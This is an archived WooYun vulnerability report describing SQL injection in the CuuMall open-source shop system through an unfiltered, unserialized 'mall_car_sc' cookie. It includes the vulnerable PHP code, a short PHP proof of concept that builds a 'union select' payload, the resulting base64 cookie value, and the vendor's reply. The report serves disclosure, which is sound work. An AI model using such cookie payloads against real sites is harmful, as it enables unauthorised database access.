当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077916

漏洞标题：CuuMall免费开源商城系统(无视各种防御和GPC)

相关厂商：cuumall.com

漏洞作者： menmen519

提交时间：2014-10-02 10:15

修复时间：2014-12-31 10:16

公开时间：2014-12-31 10:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-02： 细节已通知厂商并且等待厂商处理中
2014-10-09： 厂商已经确认，细节仅向厂商公开
2014-10-12： 细节向第三方安全合作伙伴开放
2014-12-03： 细节向核心白帽子及相关领域专家公开
2014-12-13： 细节向普通白帽子公开
2014-12-23： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

CuuMall免费开源商城系统(无视各种防御和GPC)

详细说明：

直接看代码：
CarAction.class.php:(76-89):

public function getmallcar( )
				{
								$getmallcar = new MallcarAction( );
								$arr = $getmallcar->redcar( );
								$car = new Model( "produc" );
								$i = 0;
								foreach ( $arr as $key => $value )
								{
												$ids = explode( "|", $key );
												$pro[$i] = $car->where( "id=".$ids[0] )->find( );
												$pram = str_ireplace( ",", "", $ids[1] );
												if ( empty( $pram ) )
												{
																$pro[$i]['pram'] = "";


主要看这一句:
$arr = $getmallcar->redcar( );
我们跟进去看看：

public function redcar( )
				{
								$coo = new Cookie( );
								$arr = $coo->get( "mall_car_sc" );
								return $arr;
				}


这个函数就是 先base64 然后在解序列化
构造这个cookie的 poc如下：

$value = array("1 union select * from xxx#|"=>1);
$value = base64_encode(serialize($value));
echo $value;


拿到最终cookie值为YToxOntzOjI3OiIxIHVuaW9uIHNlbGVjdCAqIGZyb20geHh4I3wiO2k6MTt9
然后我们访问这个url：

9.png


然后跟踪到数据看看：

10.png


这里所有字符都是可以注入进来的
ok

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-10-09 13:35

厂商回复：

仍然是你提交过的对客户端的cookies过滤不严格导致的，感谢

最新状态：

暂无